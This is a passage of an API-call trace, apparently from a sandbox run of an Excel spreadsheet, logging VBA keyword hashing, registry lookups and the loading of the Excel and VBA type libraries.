0x103384 [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Stop") returned 0x1034f6 [0089.601] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrComp") returned 0x10274d [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String$") returned 0x10c31c [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Tab") returned 0x10d821 [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Text") returned 0x10abed [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Then") returned 0x10b933 [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="To") returned 0x105f48 [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Type") returned 0x100007 [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="TypeOf") returned 0x101832 [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="UBound") returned 0x10ea71 [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unload") returned 0x104e44 [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unlock") returned 0x104e95 [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unknown") returned 0x10a11d [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Until") returned 0x10ecec [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Variant") returned 0x108738 [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Wend") returned 0x1035a7 [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="While") returned 0x10a25c [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Width") returned 0x104e68 [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="With") returned 0x104bed [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="WithEvents") returned 0x10f2eb [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Write") returned 0x105c2e [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Xor") returned 0x10ef9b [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#Const") returned 0x10f8c9 [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#Else") returned 0x1050dd [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#ElseIf") returned 0x10e5b5 [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#End") returned 0x10d478 [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#If") returned 0x10d383 [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Base") returned 0x109fb8 [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Control") returned 0x10a946 [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Creatable") returned 0x101d92 [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Customizable") returned 0x10c26d [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Description") returned 0x1009d0 [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Exposed") returned 0x1030b3 [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Ext_KEY") returned 0x10a88e [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_HelpID") returned 0x103e41 [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_Func") returned 0x10c92c [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_Property") returned 0x107f4a [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_PropertyPut") returned 0x106658 [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_PropertyPutRef") returned 0x105b25 [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_MemberFlags") returned 0x108db7 [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Name") returned 0x10e2ff [0089.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_PredeclaredId") returned 0x105fc7 [0089.603] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_ProcData") returned 0x107005 [0089.603] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_TemplateDerived") returned 0x109f1e [0089.603] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarDescription") returned 0x103303 [0089.603] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarHelpID") returned 0x10a3b6 [0089.603] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarMemberFlags") returned 0x10b6ea [0089.603] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarProcData") returned 0x101b0c [0089.603] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_UserMemId") returned 0x107b95 [0089.603] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarUserMemId") returned 0x104d5f [0089.603] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_GlobalNameSpace") returned 0x10ce77 [0089.603] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName=",") returned 0x101043 [0089.603] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName=".") returned 0x101045 [0089.603] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="\"") returned 0x101039 [0089.603] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_") returned 0x101076 [0089.603] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLngPtr") returned 0x105ab0 [0089.603] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLngPtr") returned 0x1036f2 [0089.603] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PtrSafe") returned 0x106f4a [0089.603] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLngLng") returned 0x104463 [0089.603] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLngLng") returned 0x1020a5 [0089.603] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongLong") returned 0x10378e [0089.603] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongPtr") returned 0x10d4e8 [0089.603] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0089.603] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0089.603] StringFromGUID2 (in: rguid=0xb8b98d0*(Data1=0x20813, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x22f3e0, cchMax=39 | out: lpsz="{00020813-0000-0000-C000-000000000046}") returned 39 [0089.603] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x22f0a0 | out: phkResult=0x22f0a0*=0xba6) returned 0x0 [0089.604] RegOpenKeyW (in: hKey=0xba6, lpSubKey="{00020813-0000-0000-C000-000000000046}", phkResult=0x22f098 | out: phkResult=0x22f098*=0xaae) returned 0x0 [0089.604] RegEnumKeyW (in: hKey=0xaae, dwIndex=0x0, lpName=0x22f0c8, cchName=0xa | out: lpName="1.9") returned 0x0 [0089.605] wcscpy_s (in: _Destination=0x22f0b0, _SizeInWords=0xa, _Source="1.9" | out: _Destination="1.9") returned 0x0 [0089.605] RegOpenKeyW (in: hKey=0xaae, lpSubKey="1.9", phkResult=0x22f158 | out: phkResult=0x22f158*=0xab2) returned 0x0 [0089.605] _ultoa_s (in: _Val=0x409, _DstBuf=0x22f0d0, _Size=0xa, _Radix=16 | out: _DstBuf="409") returned 0x0 [0089.605] RegOpenKeyA (in: hKey=0xab2, lpSubKey="409", phkResult=0x22f0c0 | out: phkResult=0x22f0c0*=0x0) returned 0x2 [0089.605] _ultoa_s (in: _Val=0x9, _DstBuf=0x22f0d0, _Size=0xa, _Radix=16 | out: _DstBuf="9") returned 0x0 [0089.605] RegOpenKeyA (in: hKey=0xab2, lpSubKey="9", phkResult=0x22f0c0 | out: phkResult=0x22f0c0*=0x0) returned 0x2 [0089.606] RegOpenKeyA (in: hKey=0xab2, lpSubKey="0", phkResult=0x22f0c0 | out: phkResult=0x22f0c0*=0xaba) returned 0x0 [0089.606] RegOpenKeyW (in: hKey=0xaba, lpSubKey="win64", phkResult=0x22f0c8 | out: phkResult=0x22f0c8*=0xcf2) returned 0x0 [0089.607] RegCloseKey (hKey=0xcf2) returned 0x0 [0089.607] RegCloseKey (hKey=0xaba) returned 0x0 [0089.607] _ultow_s (in: _Value=0x0, _Buffer=0x22f160, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0089.607] RegOpenKeyW (in: hKey=0xab2, lpSubKey="0", phkResult=0x22f138 | out: phkResult=0x22f138*=0xabe) returned 0x0 [0089.607] RegQueryValueW (in: hKey=0xabe, lpSubKey="win64", lpData=0x22f180, lpcbData=0x22f134 | out: lpData="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE", lpcbData=0x22f134) returned 0x0 [0089.608] wcscpy_s (in: _Destination=0x22f4b0, _SizeInWords=0x104, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE") returned 0x0 [0089.608] RegCloseKey (hKey=0xabe) returned 0x0 [0089.608] RegCloseKey (hKey=0xab2) returned 0x0 [0089.608] RegCloseKey (hKey=0xaae) returned 0x0 [0089.608] RegCloseKey (hKey=0xba6) returned 0x0 [0089.608] LoadTypeLib (in: szFile="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE", pptlib=0x22f138*=0x0 | out: pptlib=0x22f138*=0xb824b50) returned 0x0 [0089.686] ITypeLib:RemoteGetDocumentation (in: This=0xb824b50, index=-1, refPtrFlags=0x22f158, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xe47c7d8 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xe47c7d8) returned 0x0 [0089.686] IUnknown:QueryInterface (in: This=0xb824b50, riid=0x7fee6085c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x22ef48 | out: ppvObject=0x22ef48*=0x0) returned 0x80004002 [0089.686] ITypeLib:RemoteGetLibAttr (in: This=0xb824b50, ppTLibAttr=0x22ef40, pDummy=0x10 | out: ppTLibAttr=0x22ef40, pDummy=0x10) returned 0x0 [0089.686] ITypeLib:RemoteGetDocumentation (in: This=0xb824b50, index=-1, refPtrFlags=0x0, pbstrName=0x22ef38, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x71e5890 | out: pbstrName=0x22ef38*="Microsoft Excel 16.0 Object Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x71e5890) returned 0x0 [0089.687] StringFromGUID2 (in: rguid=0x4f3abf0*(Data1=0x20813, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x22ef60, cchMax=39 | out: lpsz="{00020813-0000-0000-C000-000000000046}") returned 39 [0089.687] _ultow_s (in: _Value=0x1, _Buffer=0x22eeaa, _BufferCount=0x10, _Radix=16 | out: _Buffer="1") returned 0x0 [0089.687] _ultow_s (in: _Value=0x9, _Buffer=0x22eeae, _BufferCount=0xe, _Radix=16 | out: _Buffer="9") returned 0x0 [0089.687] _ultow_s (in: _Value=0x0, _Buffer=0x22eeb2, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0089.687] wcscpy_s (in: _Destination=0x72b8238, _SizeInWords=0x8e, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0089.687] wcscpy_s (in: _Destination=0x72b823e, _SizeInWords=0x8b, _Source="{00020813-0000-0000-C000-000000000046}" | out: _Destination="{00020813-0000-0000-C000-000000000046}") returned 0x0 [0089.687] wcscpy_s (in: _Destination=0x72b828a, _SizeInWords=0x65, _Source="#1.9#0#" | out: _Destination="#1.9#0#") returned 0x0 [0089.687] wcscpy_s (in: _Destination=0x72b8298, _SizeInWords=0x5e, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE") returned 0x0 [0089.687] wcscpy_s (in: _Destination=0x72b830c, _SizeInWords=0x24, _Source="Microsoft Excel 16.0 Object Library" | out: _Destination="Microsoft Excel 16.0 Object Library") returned 0x0 [0089.687] ITypeLib:LocalReleaseTLibAttr (This=0xb824b50) returned 0x0 [0089.687] IMalloc:Realloc (This=0x7feffc15380, pv=0xb61afb0, cb=0x1a0) returned 0xb6284d0 [0089.687] wcscpy_s (in: _Destination=0xb6284d0, _SizeInWords=0x8e, _Source="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library" | out: _Destination="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 0x0 [0089.687] ITypeLib:RemoteGetDocumentation (in: This=0xb824b50, index=-1, refPtrFlags=0x22f058, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x5 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x5) returned 0x0 [0089.687] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Excel") returned 0x102b80 [0089.687] strcpy_s (in: _Dst=0x22ee50, _DstSize=0x6, _Src="Excel" | out: _Dst="Excel") returned 0x0 [0089.687] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22ee50, cbMultiByte=6, lpWideCharStr=0x22eca0, cchWideChar=6 | out: lpWideCharStr="Excel") returned 6 [0089.687] wcsncpy_s (in: _Destination=0x22ec50, _SizeInWords=0x108, _Source="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 0x0 [0089.687] CharLowerBuffW (in: lpsz="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", cchLength=0x8d | out: lpsz="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library") returned 0x8d [0089.687] IMalloc:Alloc (This=0x7feffc15380, cb=0x11c) returned 0xb9c42a0 [0089.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library", cchWideChar=142, lpMultiByteStr=0xb9c42a0, cbMultiByte=284, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library", lpUsedDefaultChar=0x0) returned 142 [0089.688] IMalloc:Free (This=0x7feffc15380, pv=0xb9c42a0) [0089.688] IMalloc:Realloc (This=0x7feffc15380, pv=0xb4daae0, cb=0x220) returned 0xb858ef0 [0089.688] wcscpy_s (in: _Destination=0xb858fa0, _SizeInWords=0x8e, _Source="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library" | out: _Destination="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 0x0 [0089.688] wcsncpy_s (in: _Destination=0x22ec90, _SizeInWords=0x108, _Source="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 0x0 [0089.688] CharLowerBuffW (in: lpsz="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", cchLength=0x8d | out: lpsz="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library") returned 0x8d [0089.688] IMalloc:Alloc (This=0x7feffc15380, cb=0x11c) returned 0xb9c42a0 [0089.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library", cchWideChar=142, lpMultiByteStr=0xb9c42a0, cbMultiByte=284, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library", lpUsedDefaultChar=0x0) returned 142 [0089.688] IMalloc:Free (This=0x7feffc15380, pv=0xb9c42a0) [0089.688] wcsncpy_s (in: _Destination=0x22ec50, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned 0x0 [0089.688] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", cchLength=0x36 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\doc061120182038778905.xls") returned 0x36 [0089.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\doc061120182038778905.xls", cchWideChar=55, lpMultiByteStr=0x22eb80, cbMultiByte=110, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\doc061120182038778905.xls", lpUsedDefaultChar=0x0) returned 55 [0089.688] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned 0 [0089.688] IUnknown:AddRef (This=0xb824b50) returned 0x2 [0089.688] IUnknown:QueryInterface (in: This=0xb824b50, riid=0x7fee60885a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x22f078 | out: ppvObject=0x22f078*=0x0) returned 0x80004002 [0089.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Excel", cchWideChar=6, lpMultiByteStr=0x22f040, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel", lpUsedDefaultChar=0x0) returned 6 [0089.688] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Excel") returned 0x102b80 [0089.688] IUnknown:Release (This=0xb824b50) returned 0x1 [0089.688] GetModuleFileNameW (in: hModule=0x7fee5ce0000, lpFilename=0x7fee60be4c0, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42 [0089.689] QueryPathOfRegTypeLib (in: guid=0x7fee608dd50*(Data1=0x204ef, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), wMaj=0x4, wMin=0x0, lcid=0x409, lpbstrPathName=0x22f0e0 | out: lpbstrPathName=0x22f0e0) returned 0x0 [0089.693] LoadTypeLibEx (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL", regkind=0x2, pptlib=0x22f138*=0x0 | out: pptlib=0x22f138*=0xb825960) returned 0x0 [0089.710] IUnknown:AddRef (This=0xb825960) returned 0x2 [0089.711] ITypeLib:RemoteGetDocumentation (in: This=0xb825960, index=-1, refPtrFlags=0x22f158, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x4ee9d0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x4ee9d0*="\xe9d0\x4e") returned 0x0 [0089.711] IUnknown:QueryInterface (in: This=0xb825960, riid=0x7fee6085c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x22ef48 | out: ppvObject=0x22ef48*=0x0) returned 0x80004002 [0089.711] ITypeLib:RemoteGetLibAttr (in: This=0xb825960, ppTLibAttr=0x22ef40, pDummy=0x10 | out: ppTLibAttr=0x22ef40, pDummy=0x10) returned 0x0 [0089.711] ITypeLib:RemoteGetDocumentation (in: This=0xb825960, index=-1, refPtrFlags=0x0, pbstrName=0x22ef38, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x741cf2c275c1 | out: pbstrName=0x22ef38*="Visual Basic For Applications", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x741cf2c275c1) returned 0x0 [0089.711] StringFromGUID2 (in: rguid=0x4f3abf0*(Data1=0x204ef, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x22ef60, cchMax=39 | out: lpsz="{000204EF-0000-0000-C000-000000000046}") returned 39 [0089.711] _ultow_s (in: _Value=0x4, _Buffer=0x22eeaa, _BufferCount=0x10, _Radix=16 | out: _Buffer="4") returned 0x0 [0089.711] _ultow_s (in: _Value=0x2, _Buffer=0x22eeae, _BufferCount=0xe, _Radix=16 | out: _Buffer="2") returned 0x0 [0089.711] _ultow_s (in: _Value=0x9, _Buffer=0x22eeb2, _BufferCount=0xc, _Radix=16 | out: _Buffer="9") returned 0x0 [0089.711] wcscpy_s (in: _Destination=0x72b8238, _SizeInWords=0x91, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0089.711] wcscpy_s (in: _Destination=0x72b823e, _SizeInWords=0x8e, _Source="{000204EF-0000-0000-C000-000000000046}" | out: _Destination="{000204EF-0000-0000-C000-000000000046}") returned 0x0 [0089.711] wcscpy_s (in: _Destination=0x72b828a, _SizeInWords=0x68, _Source="#4.2#9#" | out: _Destination="#4.2#9#") returned 0x0 [0089.711] wcscpy_s (in: _Destination=0x72b8298, _SizeInWords=0x61, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0089.711] wcscpy_s (in: _Destination=0x72b831e, _SizeInWords=0x1e, _Source="Visual Basic For Applications" | out: _Destination="Visual Basic For Applications") returned 0x0 [0089.711] ITypeLib:LocalReleaseTLibAttr (This=0xb825960) returned 0x0 [0089.711] IMalloc:Realloc (This=0x7feffc15380, pv=0xb6284d0, cb=0x340) returned 0xb4aa520 [0089.711] wcscpy_s (in: _Destination=0xb4aa668, _SizeInWords=0x91, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0089.711] ITypeLib:RemoteGetDocumentation (in: This=0xb825960, index=-1, refPtrFlags=0x22f058, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3) returned 0x0 [0089.711] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA") returned 0x10e2f7 [0089.711] strcpy_s (in: _Dst=0x22ee50, _DstSize=0x4, _Src="VBA" | out: _Dst="VBA") returned 0x0 [0089.711] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22ee50, cbMultiByte=4, lpWideCharStr=0x22eca0, cchWideChar=4 | out: lpWideCharStr="VBA") returned 4 [0089.712] IUnknown:AddRef (This=0xb824b50) returned 0x2 [0089.712] ITypeLib:RemoteIsName (in: This=0xb824b50, szNameBuf="VBA", lHashVal=0x10e2f7, pfName=0x22ed70, pBstrLibName=0x22eca0 | out: pfName=0x22ed70*=0, pBstrLibName=0x22eca0) returned 0x0 [0089.736] IUnknown:Release (This=0xb824b50) returned 0x1 [0089.736] IMalloc:Alloc (This=0x7feffc15380, cb=0xc) returned 0xb5c60f0 [0089.736] IMalloc:Free (This=0x7feffc15380, pv=0xb8b9900) [0089.736] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb8b9900 [0089.736] IMalloc:Free (This=0x7feffc15380, pv=0xb5c60f0) [0089.736] wcsncpy_s (in: _Destination=0x22ec50, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0089.736] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x90 | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x90 [0089.736] IMalloc:Alloc (This=0x7feffc15380, cb=0x122) returned 0xb9c42a0 [0089.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=145, lpMultiByteStr=0xb9c42a0, cbMultiByte=290, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 145 [0089.737] IMalloc:Free (This=0x7feffc15380, pv=0xb9c42a0) [0089.737] IMalloc:Realloc (This=0x7feffc15380, pv=0xb858ef0, cb=0x440) returned 0xb862bb0 [0089.737] wcscpy_s (in: _Destination=0xb862db0, _SizeInWords=0x91, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0089.737] wcsncpy_s (in: _Destination=0x22ec90, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual 